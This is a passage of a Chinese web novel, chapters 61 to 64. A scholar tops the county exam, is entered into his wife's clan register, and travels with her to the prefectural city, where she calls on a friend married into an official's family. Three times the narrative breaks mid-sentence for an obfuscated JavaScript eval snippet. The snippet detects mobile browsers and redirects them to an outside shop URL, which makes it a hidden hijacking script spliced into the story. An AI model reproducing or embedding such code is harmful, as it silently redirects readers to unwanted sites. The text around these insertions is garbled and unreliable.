“行啊刘郯，这就开始恭维上崔童生了。”，游子涧给了他胸口一拳，不着调地开着玩笑，随即打开折扇摇了两下，说道，“再磨蹭下去等会榜前该没地站了。” 刘郯啧了声:“现在去也没地站了。” “一早我便让家里小厮去占位置看榜，咱到附近喝杯茶的功夫，红榜就差不多张贴出来了。” “容我去换身衣裳。”，崔玉棠去洗了手，转身回房里。 再出来时已然从泥砌工变成了风度翩翩的读书郎，他掸了掸青衫宽袖，神色自若道:“走吧。” “瞧咱二郎多镇定，显然是心中有数了。” 游子涧打趣。 崔玉棠:“急也无用。” 从出考场那一刻时，成或不成都是定数了，与其多思多虑，不如放下忧思，淡然处之，若能榜上有名，也可以更好的状态去应对接下来的府试。 三人到附近茶馆时，已然人声鼎沸，此处对面便是县衙张贴红榜的位置，从二楼靠窗的茶座看去，正将底下的光景瞧个正着。 也得亏游子涧提前预定了，否则也占不到如此好的位置。 坐下来小二过来看茶，先是说了一通吉利的话，又殷勤地帮着擦桌，冲洗茶盏用具，得了刘郯随手抛过去了几文铜钱，才欢天喜地地退下了。 刘郯唉了一声:“这次若是没中，家里双亲又该说我是愚钝之材了。” 刘郯已是下场过两回童生试的人了，可惜学问不够，次次铩羽而归，他家中做些小生意，双亲对这些功名利禄没甚热望，这几年见他为了专心读书而拒绝相看人家，早已有不少意见了。 如今就盼着他这次考不中，乖乖成亲生子，回家里继承铺面，当个小东家呢。 崔玉棠执起袖给自己倒了一盏茶，举止文雅地捻着茶盏盖撇去上面一圈茶渍，他淡声道:“是不是愚钝之才，刘兄自己心里应当有数才是，莫要听他人如何言谈。” 游子涧把折扇合起，放到桌上，附和道:“就是，我看平时课业，你经义不错，就是策论和诗词差些火候，这次经过二郎点拨，上榜应当没问题。” “崔兄策论做得好，诗也作得漂亮。”，刘郯真心实意感叹。 游子涧:“他昔时作过一首关于京都的皇家灯集赋，所情所景，当真是跟我幼时在京都见过的灯集会一模一样，若不是知道他自小长在容县， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099671|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我都要以为他真在京都住过了。” “那首赋中灯集会的场景……”，崔玉棠皱眉道，“是我在梦里见过，觉得十分熟悉便写了下来，许是偶然吧。” 他今时回想，或许是真的亲身经历过，那些场面盛大的灯集会，才会有如此深刻的梦境。 “哎——开榜了！”，刘郯一声大呼，打断了崔玉棠的深思，他跟着望去窗外，就见许多学子围了上去，人潮涌动间伴着激动的、悲伤的各种情绪性喊声。 崔玉棠视线所及处还瞧见了两张熟面孔。 他家里俩小厮不知在底下蹲守了多久，混在一众成年汉子堆里虽不显个子，但来得早，这会已然被后面的人推到了红榜前。 两人许是看到了榜，还没来得及交流就被人挤了出去，脱开身后便欢快奔着一个地方去。 崔玉棠顿时明了，恐怕是他家里娘子让俩小厮提前过来蹲位置看榜的。 他放下茶盏，道:“我先回去了。” 游子涧微抬高音量，惊讶道:“你不看榜了？” “不看了，功名利禄，皆是浮云矣。” 崔玉棠站起身来，嗓音悠浮，语调抑扬，如潇洒的文人骚客般，大步往前去，只留给他们一个视功名利禄如粪土的雅士形象。 游子涧:“……” 刘郯:“……” 真能装啊。 - 崔玉棠出了茶馆便步伐匆匆往家回，不出意外，他刚到家，铺子外头就点起了鞭炮，余小娃兴高采烈地从门头上下来，随着噼里啪啦的一阵响后。 所有人都知道了华纱绒花铺余东家的相公，考上了童生，且还是头名！ 崔玉棠得知自己的名次，眉略上挑，表情沉稳地阔步迈进铺子里。 “大爷回来了！恭喜大爷喜中童生！” “恭喜公子喜中童生，还是头名！” 崔玉棠给了俩小厮赏银，连着其他上来道贺的女工们也一起赏了。 他放眼在店内，却没见到想见的人，正疑惑时，窈儿便掀了珠帘从后面出来，与他道:“东家在院里忙着呢。” 这个时候，忙甚？ 崔玉棠快步往后院去，入目便是余晚桃伏案咬笔头的一幕，他特意加重脚步走过去，好教人注意到自己。 余晚桃慢吞吞抬头，见是他来，立刻两眼放光:“二郎回来啦！” 她如蒙大赦一般将人扯过来，絮絮道:“我正打算加急出一批童生头名的同款绒花品呢，你快给我说说，平时在书院里都爱用些甚么物件？” 余晚桃着实是苦恼，从得知书生考中童生且是头名后，她立刻便萌生了同步推出同款绒花品的念头。 梅老同款的热度还未完全消退，这时她再推一系列出来，且这系列还是最新的，完全能接触到的人，就奔着蹭个童生头名的好文运，但凡是没考上童生的学子，恐都心动不已。 书生这朝也算是为自家品牌代言了。 “快说说。”，余晚桃催促他。 崔玉棠以一种难以言喻的目光看了她片刻，才迟疑道:“你做的异色同绸拭手巾帕，算吗？” “这不行，这门染布秘法我已卖给锦庄了，平时自家里用用还好，若拿出去盈利怕是会惹锦庄不满。” “还是我自己想吧。” 余晚桃埋头苦思，期间与他叮嘱道:“记得让小娃去菜市找秋嫂子，让她把你考中童生的消息告诉村长，这朝估计会开宗祠，把你记族谱上去。” 崔玉棠原户籍虽不在大桑村，但自从他们成亲后，上报县衙定居大桑村，县衙就将他的户籍划到了大桑村去。 只是作为外来人口，他并未入族谱。 如今有了功名，届时宗祠一开，这族谱是定然要上的。 后面科考，若能考上秀才，恐都得单独给他在村口竖一块功名碑。 大桑村已经许多年没出过秀才了。 崔玉棠点头，道:“今晚书院有学子宴，许会回得晚，不用等我。” “好，你这两日若是酒宴多，不得空回村，那就推迟两日，等这边事情了了就尽快赶去府城，莫延误了接下来的府试。” 县试出榜后，六月份便是府试，府试考点设在府城，一来一回，加上等待开榜的时日，恐要一个多月。 崔玉棠自是知晓这些。 他不知想到何处去，眸里情绪深了深，俯身凑过去，将脸递到对方眼前去，拿一双黑白分明的，认真无比的眼睛盯着人。 骤然放大的俊脸让余晚桃眉头本能地紧蹙，忙屏住了呼吸往后退了些，她用气音询问:“作甚？” 崔玉棠低垂眼尾，快速眨了几下卷翘浓密的鸦睫，开口时俨然是一副无辜书生的神态，“我未曾单独出过远门，此次去府城参加府试，心里有些不安。” “怎么是单独？”，余晚桃不理解他的思考点，反问道:“难道你不与互结的几位同窗一起去吗？” “他们家里富足，许是自己租院舍住，不会与我一道住客栈的。” “我们家里也富足啊。”，余晚桃瞪眼，挺直腰板。 她缓缓道，“其实租个院舍也好，安静稳妥，左右也费不了甚么银两，你到时把小器带上，让他照顾着起居生活，你安心读书便是。” 见拐弯抹角没用，崔玉棠颓了声，耷拉着肩膀直言道:“我想让你一起去，顺道还能逛逛府城。” 余晚桃想也没想，便回他:“我铺子里和村里事太多，哪里走得开？” 这节骨眼上，该紧抓着科举考试的热度赚钱才是。 至于府城，她迟早是要去的，倒不急这一刻。 空气里安静了片刻，几乎落针可闻。 余晚桃没觉出怪异，自顾自继续道:“等赚够了银子，我就去府城开分铺，你若是能考上秀才，入府学读书，我们就移居府城。” 下次乡试在两年后，也就是说他们最少得在府城待两年，两年时间，足够她发展自己的经商之路了。 有了本钱，再一步步地往上升，最后去到大魏最繁华的京都去。 水往低处流，人往高处走，便是此道理。 62. 第 62 章 · 崔玉棠考中童生的消息传回村子后，一直缠绵病榻的余村长当即便激动得病气都退了三分，高兴地连连说好，挥手让儿子去把家里过年没点完的鞭炮拿出来，带到村口去点上。 一时村里议论纷纷，都在传这事。 好些人家羡慕得不行，私底下悄悄说余晚桃当真是好命，生意做得风生水起，现下嫁的汉子争气，又给她挣到了个童生夫人的名头。 “没准过不久就是秀才夫人了！” “啧啧，不得了了！” “往后怕是能捞个官夫人当呢，幸好我家里几口子报名了开荒队，有工钱拿，还能扬名声，我们主家是童生秀才哩，说出去谁不得高看几分。” 听得这些话，余贵家的儿媳妇抱着娃低头匆匆拐过了村口往家里走，心里无比懊悔，当初就不应该听婆母的，为着占那点子便宜得罪了桃子一家。 现如今人家发达了，拉拔着村里人却偏偏把她们家摘了出去，这些时日受着村里人指指点点，家里不知道为此吵了几遍，她心里是恨死婆母那搅家精了，打定主意回去就撺掇自家男人分家出去，过自己的小日子。 村里发生的事传不到余晚桃耳朵里，自童生同款绒花品上架后，来客可谓是踏破门口，忙得她走不开。 另一头余天庆又来催促，说村长挑好了日子要开宗祠，让二人尽早回村。 这事确实拖不得。 余晚桃遗憾地将铺子里的事交给冬枝管着，与崔玉棠一道回了村。 村里人看到小两口回村，纷纷拎了礼过来祝贺，虽都是些青菜鸡蛋猪肉条，但礼轻情意重，余晚桃记下名字，一一都收了。 余村长许是被喜事冲击到，这会颤巍巍地拄着拐杖过来了，崔玉棠忙将人扶进来，与了他一盏茶润口。 才多久没见，余村长便病成这般苍老的模样，像是乍然间就衰老了十多岁，头上全白了。 “怎么病得这般厉害？”，余晚桃心中惊骇，早前便听庆叔说村长病了，想着也是些风寒类的小病，可这朝一看，却似从鬼门关走了遭回来般。 跟着过来的林小秋闻言便叹气道:“原是翻冬碰着倒春寒，惹了几天高热，反反复复退不下去，看了许多郎中，也喝了许多药，人折腾得厉害，病却不怎么见好转。” 余晚桃立时想到，恐怕是高热久久不退，引起肺部感染了，这在医疗发达的现代都是能要人命的，何况是在古代。 她拧眉道:“许是高热久了，烧着肺腑，多寻些能消炎的草药熬来喝吧。” “有个外来的赤脚郎中也是这么说的，如今确实喝着消炎的草药，这不就好些了，才能下地来活动活动。” “村长病了恁久都不见好，二郎一考上童生这病就好转了，许是这喜冲了个正着，旺咱大桑村。”，有婶子精着眼，神神道道地说。 大魏道佛两派都兴，大魏子民们多多少少都会信一些这种玄而又玄的东西，经那婶子一说，大家伙全然反应过来了，纷纷点头应和。 “这可不就是冲了大喜嘛！” 村长媳妇猛拍大腿，高兴道:“确实是大喜，当家的，等开了祠堂，村里办一道流水宴席，庆祝二郎考上童生怎么样？” 余村长略思考，点头:“可行，办宴席的银子就从村里的公账出。” 用村公账给童生办宴，村里人纷纷点头表示同意，只有极个别脸色诡异地变了变，但看着村里人喜气洋洋的，蠢蠢欲动的嘴唇又闭上了。 眼看村里人愈发热切地讨论着流水宴席的事，崔玉棠不得不站出来，与各位村民温声道:“二郎今只得了个童生的功名，怎好劳烦村中破费，且县试接连着府试，这朝事了便得出发府城了。” 他言及此，语气更加诚挚，“不若等府试过后，若能侥幸博得一秀才功名，届时再操办流水宴席，岂不美哉？” 村民们静了静，一时间没人反驳。 这话里带理，于是所有人看向村长。 余村长自是无有不应，他笑着说:“也好，也好，眼下是府试比较重要。” 在大桑村村民们的心里，崔玉棠俨然已经成了村里最有出息的汉子，比那走歪门邪道的陈文祖不知好了多少倍。 一个个的都暗暗教导家里未出阁的姑娘，嫁人就得挑二郎这样有出息的，你看你桃子姐姐现在多风光。 对外经商有道，对内还捏着掌家权，看那崔家二郎，得了童生名头也没扬家主性子，那天上余家老屋去，还瞧见那恁俊俏的书生在灶头忙活呢。 务实又顾家，书读得好干活也勤快，这才是好汉子。 · 被村里人赞为好汉子的崔玉棠，此时已正式加进了余氏族谱里，宗祠轻易不会开，这朝给崔玉棠加了名进去，余村长还把村中族老也召过来了。 长辈议事，小辈们都被赶出了祠堂。 没过了几日，余村长就卸了任。 大桑村村长，换成了余天庆。 傍晚，余家老屋里飘起了一阵油炸猪肉的香气，小半时辰后，院里传来小细柳的一阵吆喝:“吃饭啦！” 桌上是一道刚出蒸笼的梅菜扣肉，正升腾着热气，阵阵肉香钻进鼻尖，余晚桃眯着眼睛，深深吸了一口:“好香！” 油炸过的脆皮五花肉再加上自家晒的梅菜干，放蒸笼里烧上小半时辰，梅干菜特有的香味全渗进了肉里，夹一块颤巍巍的蒸得软烂的五花肉起来，再卷些梅干菜在里头，一口下去舌头都能香掉。 边上还有一海碗的野菜蛋花汤，和一小碟子腌制的酸萝卜豆角用来解腻，那酸劲闻着都令人食欲大振。 “细柳姐你厨艺愈发精湛了，太好吃了！”，余晚桃真心实意道。 小细柳乐呵呵道:“这有甚精湛的，些个家常菜，恁村里头家家户户的掌勺妇人们都会的。” 余晚桃微微睁眼，夸张道:“是真的好吃，不信你问二郎。” 崔玉棠温声附和:“确实好吃，细柳姐梅干菜晒得好。” 小细柳得了夸，面上有些不好意思，不过心里确是高兴的，立马给人各夹了一大筷子五花肉过去，自己吃着碗里的精米饭，眼角眉梢都写满了笑意。 “既然你俩都爱吃，去县里时索性带上一大包，或者想吃了就回村，我还给你们做。” “谢谢细柳姐了。”，余晚桃歪头过去蹭了蹭她胳膊，抿着嘴惋惜道:“要是能天天吃到细柳姐做的梅菜扣肉就好了。” “尽说瞎话，凭是龙肉天天吃也得腻。”，小细柳被余晚桃自然亲昵的动作和语气哄得心花怒放的，心里头跟烧着一壶开水般在咕噜咕噜冒着泡，美得很。 “谁有那胆子敢吃龙肉去。” 崔玉棠带笑的眸子扫过自家娘子略撅起的嘴唇，摇摇头，继而说到他处去，“余村长卸任后得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111662|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了闲养病，这几日里瞧着身子是好了些，只是依旧没甚精神气，我记得当初铺子开张，陈夫人送来的礼品里有一根参子？” “好像有吧，都放库房里了。”，余晚桃知他意思，便接话道，“回头我让小娃去找出来，拿去给村长补补。” 大病一场的人，底子都被掏得差不多了，若不仔细将养着恐怕于寿数有碍，是该得拿参条补一补，入余氏族谱一事崔玉棠记着，便不想将这份人情往后拖，能还则还了。 时间一晃便到了蚕种出来的时节。 挑选蚕种至关重要，余晚桃不得不亲自把关，养蚕大棚盖起来后，家里的蚕舍就暂时空置着了，待后来充当存放蚕茧的库房， 大棚那头占地极广，蚕种分几批送来后稳稳地在透风宽阔的蚕间里落住，放眼望去都是一排排整齐崭新的蚕座，里面蠕动着小小的白色的幼蚕。 余晚桃这次是下了本买蚕种的，如此大规模的养蚕大棚，而光是负责摘桑叶、给蚕除砂，清洁蚕座和蚕间等活计的工人都有十多个，全是村里信得过的老蚕农。 那些个眼热的只恨自己没被挑选上，白白错过了这么好的一份活计。 “一龄二龄的蚕最是脆弱，得时刻注意着，定不能疏忽了去，否则教染了病，那前头的功夫便白费了。”，余晚桃一再叮嘱这些负责喂蚕的人。 待出了养蚕大棚，余天庆走过来，同她说道:“招的都是村里老实本分的人家，不是那起子偷奸耍滑的，且我也会每日巡视，定不会教那些人随便应付了事。” 余天庆这阵子忙得很，刚答应了管着养蚕大棚的事，冷不丁又被委以重任，当上了大桑村村长，要学的东西陡然增多，忙得他几乎脚不沾地，但脸上却时刻扬着笑，对未来充满了盼头。 “嗯，我自是相信叔的。” 余晚桃在县里和村中奔走着，到了五月中旬才松快下来，她回到县里，从账房先生那取了四月份的账册来，准备抽个时间把账理一理。 “事忙完了？”，崔玉棠声音沙哑，从书案中抬头，揉着干涩的眼睛，喝了一盅茶水才将喉咙润了润，音色稍清和了些。 他从书册堆里翻出一封信，递过去时说道:“这是刘云小姐的信，刘夫人拿到铺子里让转交给你的。” “云姐儿的信？”，余晚桃疑惑着，快速打开封着蜜蜡的信件，她仔细读下来，眼里的笑意渐渐染上脸庞，她扬唇哼笑，“这云姐儿，当真是也不嫌麻烦。” “怎么？” 余晚桃把信件放书案上，示意让他自己瞧。 崔玉棠拿过来粗略扫过上面娟秀的小字，脑子里一瞬间有根弦绷紧了，他缓缓合上书，试探道:“可想接？” “当然要接，最近弄养蚕大棚费了些银子，这笔单子正好能补回来。” 原是刘云来信，说夫家有一长辈将举办寿宴，她想定做一樽绒花大寿桃的摆件做贺礼，并让余晚桃亲自送来，若贺礼得了那长辈喜欢，定有一笔不小的赏银。 云姐儿这信里后面几句的意思，是府城里有笔横财等着她呢，让她快到府城去领。 余晚桃有些哭笑不得，也不知这云姐儿怎么看透她财迷本质的，又或是单纯想哄她过去聚一聚。 这时机确实也巧，早前便同书生说过她不去府城，云姐儿这信件就来了，看来府城这一趟是非去不可了。 “月底出发府城！” 63. 第 63 章 既要去府城，便得把手上的事安排妥帖。 如今铺子里的生意渐渐稳定下来，又有窈儿和冬枝打理着，仔细不会出大差错。 要担心的便是刚回来的头批蚕种，虽说大棚里有庆叔管理着，雇的蚕农也都是老把式，但她一去月余，多少还是有些放心不下，便着重把一些特别需要注意的事项都交代下去。 这些安排好，余晚桃又写了封信去白沙镇，给阿蟹一家，确保没有遗漏后，才开始动手制作云姐儿定做的绒花寿桃摆件。 云姐儿夫家是江南府同知，本家元姓，是南地这边的士族门阀，听说元氏族中子弟在仕途一道都有着不小的建树，家族体系极其庞大。 这种士族门第，想必眼光极高，甚么好东西都见惯了，她这绒花品用材没法子比，只是若做得精细，也能占个新奇。 余晚桃画好设计稿纸后便静下心来，闭门谢客十余日，终于赶在出发前一天，将这件耗费了她诸多心力的绒花寿桃摆件做出来。 按照云姐儿的意思，寿桃摆件做得比寻常的摆件要大许多，且底盘是用染绿的蚕丝铰着铜丝捏出来的，层叠而上，做出翠绿枝叶捧着颗巨大寿桃的样式。 寿桃从底往桃尖上，颜色由红透到浅粉，且能清晰地看到弯曲下来的桃身曲线，甚至连寿桃表面白得透明的绒毛都看得分明，当是与才从桃树摘下来的桃如出一辙。 只是这颗寿桃，被放大了数倍。 做好的寿桃，被层层包裹着装进了大木箱，箱内铺了整整三层的棉絮来防撞，最后封上条子，抬到马车上。 “我们明日和陈家的镖师队一起出发。”，崔玉棠将要带去府城的书收拾出来，让余小器拿到马车去放好。 余晚桃翻出几件薄款的夏季抹胸襦裙，与崔玉棠一旁折叠好的青衫长袍扔作一堆，期间抬头看了书生一眼:“陈家的镖师队？” 崔玉棠嗯了一声，走过去把她乱扔的衣裳仔细折叠起来，“游兄也考中了童生，陈教谕是专门雇的镖师队护送他去府城，我们互结的几位同窗，都是跟着他家镖队走的。” “倒是安全些。” 有镖师队护送，起码不用担心路上遇到劫道的。 “你先歇息了，这里我来收拾，明日得早起出发，到城门口与陈家的镖师队汇合。” “好。” 余晚桃忙活多日，这会是沾床便睡着了。 崔玉棠把两人的一些用品收拾好，轻手轻脚地推门出去，走了一躺马厩回来，见余小娃和余小器还守在外面困得直打哈欠。 他走过去，压低声音与二人叮嘱道:“快些回去睡吧，莫要在这守着。” 余小器慢吞吞哦了一声，问道:“明日我同公子一起去府城吗？” “你是我的书童，自然要跟着去。”，崔玉棠道:“小娃你守着家，有甚么事就到铺子前头找窈儿姑娘。” 余小娃乖乖应好。 等回了屋，他趴在床头边撑着下巴，很是羡慕地看着余小器:“识字真好，被大爷收了当书童，都能跟着去府城，我以前都没出过村子呢，到过最远的地方就是这了。” “这有甚好的。”，余小器拍拍他肩膀，认真道:“等从府城回来，我教你认字，这样等以后我离开了，你就能接替我的位置，给公子当书童了。” 余小娃瞪眼，腾地蹦上床瞅着他:“离开？咱都是家奴，卖身契捏在主家手里呢，你怎么离开，难道你想跑？！” 余小器白了他一眼，掀开被子躺进去，哼道:“我跟你可不一样。” “哪里不一样？大家都是奴。” “你才是奴，你全家都是奴。” “我确实全家都是奴啊，只是被卖到不同的主家去了而已。” “……” 余小器气呼呼地翻身，背对着他。 余小娃丈二摸不着头脑，也跟着躺下了，夜里静得落针可闻，漆黑中只能听到一轻一重的呼吸声，就在睡过去前，房间内响起了一句别扭的话。 “等我回家了，就帮你把全家解救出来，不再给人当奴。” “在这里吃好穿好，主家也好，其实当奴挺好的。”，余小娃是个贫苦人家里挣扎着活下来的人，所求不过吃饱穿暖，再长远的便想不着了。 “没出息。” 余小娃憨憨地笑了一声。 · 江南府地繁华富庶，且文风极盛，又毗邻苏杨，丝织和瓷器行业发展成熟，与各府之间的通商非常密集，水路和官道是两条极方便的交通线，沿途驿站不断，水兵值守，各关口重重关卡。 因着现知府到任后的种种雷霆手段，江南府再没闹过匪患了。 镖师队一路从容县出发，五辆马车，约摸到下午才走上官道，官道平坦通顺，很快便抵达了第一个商运驿站。 商运驿站旁边便是官府驿站，有官兵驻守，镖师队浩浩荡荡抵达时，还被拦了下来检查过路文牒，得知他们是护送童生去府城赶考的镖队，才挥手放了行。 “可颠死我了。”，下了马车，刘郯第一个嚷了起来，捏着腰，扶着腿迈进驿站里，瘫到长板凳上趴着，丝毫不顾及书生形象。 崔玉棠扶着余晚桃下来，进去便见他大咧咧趴着，目不斜视地走到隔壁桌去，挥手让小二过来点菜。 “瞧你那点出息，连崔兄娘子都比不上。”，同行的几个书生簇拥着游子涧走进来，乐悠悠地打着趣。 刘郯闻言便强撑着坐起来，哀叹道:“我这次要是考不中，就白受这份罪了。” 游子涧走过去坐下，给自己倒了盏茶喝:“得了吧，县试都掐着尾巴挤进去的榜，你这份罪啊，怕是注定得白受了。” 刘郯嗷了一声，显然不愿接受这个事实。 县试录前百名，他就是第一百名上榜的，擦线险过。 “只要考了，便不算白来。”，崔玉棠俨然一副好同窗的语气，出声安慰他，“以我研究往年的府试题来看，策论答得漂亮，能弥补不少诗词上的缺陷。” 有些考官，就喜欢实干派的。 刘郯完全不想听一个县试考头名的人的安慰，只好化悲愤为食欲，让小二将招牌菜通通都上一遍。 崔玉棠摇摇头，侧头靠近自家娘子，替她舀了一碗汤，说:“吃了一天干粮，先喝口汤润润胃。” “这汤倒清淡，不油腻。”，余晚桃这会胃口着实有些差，只能先慢慢喝些汤。 “东家，这个煎肉团好吃，你快试试！”，余小器嘴巴塞得鼓鼓的，他囫囵吞下一口，亮着眸子忙不迭询问:“明天走的时候，能不能带上一份？” 十二三岁正是长身体的时候，余小器在余家待了一段时间，整个身条骨都往上窜了不少，稚气未脱的脸蛋也长开了些，同崔玉棠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125535|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一处站着，更似一对兄弟了。 游子涧稀奇道:“二郎啊，找个书童都照着自己的模样找，够臭美的。” 崔玉棠淡淡看了他一眼。 “这般看我作甚？”，游子涧故意道:“哥哥这是夸你呢，瞧你这小书童多有灵气，简直像是你自个生的一般，我家那板板正正的，都不兴带他出门。” 余晚桃轻笑道:“游大哥再拿二郎打趣，他可就要恼了。” 游子涧惋惜地“唉”了一声，终于老实吃饭了。 驿站歇息一晚后，镖队继续出发。 两日后，一行人抵达江南府城。 因着府试报名的时间赶，几个书生到了府城就直接去府衙递名帖报名，解决完紧要的事，约定下次再聚的时间，才各自散去。 余晚桃在决定要来府城时，就写信托云姐儿帮忙租了一间小院子。 此处地段好，离考场近，这段时间府城又热闹得紧，全是外地来赴考的学子，她们定得早，一月租金收八两，那些个定晚了的，一月租金都涨到十多两去了。 抵达府城的头一晚，可谓风尘仆仆，各自洗漱过后都早早睡下，养足精神，翌日才起来打扫院子。 崔玉棠一边盯着锅里翻滚的面条，一边卷着册书在背诵，修长清隽的身形站在窄□□仄的灶房里，显得格格不入。 “这灶房小了些，我来做朝食吧，你到院里看书去。”，余晚桃卷起衣袖，走进来道。 “好，我已放了盐沫子，切莫再重复放。”，崔玉棠让出位置，让余小器搬张椅子来，就坐在抬头便能看见灶房的位置，认真看书。 这院里带着颗李子树，上面结着青翠欲滴的小果，余小器盯着看好半响，最后没忍住去搬了凳子出来，站上去扯了几个李子下来，猛一进嘴，就被酸倒了牙，捂住腮帮子在地上打滚。 余晚桃还以为他出了甚么事，忙从灶房跑了出来，结果崔玉棠眼也不抬，就凉凉道:“别管他，让他馋嘴摘六月李吃。” “额。”，余晚桃有些哭笑不得，揪着对方滚脏的衣领子，到灶房里给他冲了一碗糖水，没好气道:“我是少你吃喝了不成，还闲得去摘那六月李吃，这下牙酸软了，等会看你怎么吃面。” 余小器被酸得眼泪汪汪，喝碗糖水，愤愤地将手里咬了一半的李子扔出去，“这么酸的李子，凭的种院子里作甚！” “这刚结出来的小果能不酸嘛。” 余小器憋嘴，蹲下来给灶里塞了一根柴火，老老实实等着吃面条。 来得匆忙甚么都没来得及采买，这面条还是自个从县里带过来的，并着几结辣味腊肠和菜干，舀到海碗里上头还飘着红油，虽没有鲜蔬菜放进去，但味道也还行。 吃过朝食，余晚桃便换了好料的衣裳，往元府去寻云姐儿。 云府位于府城正中街繁华地段，其门头极大，正大门前空着一大片平整的石板路，两侧狮子石雕像威武严肃，数步矮阶上，漆红的大门紧闭，铁质圆环沉重。 余晚桃去扣了侧门的圆环，过了许久才有一小厮过来开门，“此处乃同知府邸，姑娘找谁？” “我找——” “这些个来打秋风的穷酸亲戚真是没完没了的。” 一道娇柔之音从余晚桃身后响起，其语气中带着丝毫不掩饰的贬低和嘲讽之意。 她拧着眉，回头看去。 64. 第 64 章 来人穿着件蕴红色的束胸云纱裙，臂间垂着条披帛，说话时纤细的手指捻着帕掩在鼻尖，娇艳的面庞上黛眉轻蹙，神态间有些不耐烦。 “看什么？还不让开！” “原是宝颦姑娘啊，怪小的眼拙。”，那小厮瞧见后头的姑娘，立马将余晚桃搡到一侧去，打开门一脸讨好地将人迎进去。 被称作宝顰的姑娘，她扭着腰跨过了门槛，忽而停住脚步，命令一般伸出手指隔空点了点余晚桃，“你——来打的哪门子秋风？” “总不会是来打你这门子秋风的，姑娘莫担心才是。”，余晚桃轻轻笑着，看向小厮，“我找贵府上的三少奶奶，烦请去帮忙通禀一声，只管说是从容县来的，姓余，她知道的。” 听了余晚桃是来找三少奶奶的，那宝顰姑娘霎时间脸色可谓十分精彩，怒怒瞪了人一眼，甚么也没说，转身便离去了。 守门小厮此时是一脸懊悔，忙弓着腰将人迎进府里来，给人赔礼道:“姑娘莫怪，实在不是您竟是来寻三少奶奶的，您稍等片刻，小的这就去为您通禀。” 余晚桃淡然一笑:“那我便在此处等着。” “哪能让贵客在这干等着，您随小的来，先到待客厅稍坐片刻，吃口茶。” 能在高门大院里当小厮的都是人精，见着人习惯性都先奉承的，对先头那宝顰姑娘便是如此，这会得知她从容县来的，许是和这府里三少奶奶有些关系，就又殷勤起来了。 余晚桃并不点破，在待客厅里安心坐着吃茶。 那头刘云得了下人通禀，便带着丫鬟赶过来了，甫一踏进来，都教余晚桃有些不敢认，眼前的云姐儿已然褪去了少女的跳脱灵动，多了为人妇的端庄和婉约。 那合着手莲步轻移而来的身影，与年前拎着裙摆，笑容满面地奔向她的云姐儿截然不同。 “晚桃姐姐，你可算是来了。”，刘云近了前来，真见着熟人了，才透出些从前的活泼性子来，她一把握过余晚桃的手，“你若再不来，我就要出城去接你了。” 刘云亲热地牵着对方，转头看向随身丫鬟时神色淡了许多，“宝盻，去主院同母亲禀一声，我家里顽得好的姐姐来了，今儿就不去主院陪母亲用晚食了，望她莫怪。” “是。”，宝盻低垂着眉，福了身，言语犹豫:“那三少爷那边？” 刘云闻言，微不可闻地哼了一声:“一同知会过去便是。” 宝盻得了话，恭谨地退了下去。 刘云带着余晚桃回去，一路上挽着她的胳膊，似从前那般在曲廊下慢慢走着，轻声诉着小话。 等回了院，便扬着笑道:“我给绣姐儿去信多次，那没良心的都不见来看看我，还是晚桃姐姐好，一到府城就惦记着来看望我。” 她挥手让丫鬟们去通知厨房备菜，顺便将屋里伺候的人都屏退了。 余晚桃见她等那些个下人都退出去了，一直恪守着的礼仪规矩才稍稍松了些，肩膀放下来，整个人都松快了些。 “你嫁到府城这半年，怎么眼瞧着脸色还没在家里时红润。”，余晚桃平日里也看过她写给绣姐儿的信，那信里头，可没写这档子事。 刘云垮下脸，她看了看房门，见仔细掩好了才小声抱怨道:“我夫君家里复杂得很，每日要应对许多事情，自然没有家里轻松自在了，这脸蛋哪里还能圆润起来。” “不说这些了，我前些日子写信回去，托你做的单可好了？” 余晚桃点头:“自是做好了的，你这朝若是得空，可以让人过去搬了。” “倒也不急，距离老夫人寿宴还有些时日。” 想到寿宴一事，刘云眉宇间透着一丝愁绪，她在府城里没有自小相处的姐妹儿，和婆婆去参加宴会，新相识的都是一些与元家交好的妇人官媳，总觉得亲近不起来，自然就无法说心里话。 有些事堆积在她心里，久而久之就压得人几乎喘息不过来，整日郁着脸，还要面对那些个能吃人的元家人。 江南府分支元氏本家下有三兄弟，任同知的便是如今的当家人元郡松，因大家族不尚分家，二房和三房也合住在主宅，几房人口众多，分居各院，大大小小各种龃龉都有，明里风光，内里争斗不断。 刘云的夫君元修己，是元郡松嫡出的第三个儿子，目前秀才功名，前头夫人过身了后，其母亲徐元氏相中了与自己外家关系颇好的容县刘家嫡出姑娘，便做主了这门亲事。 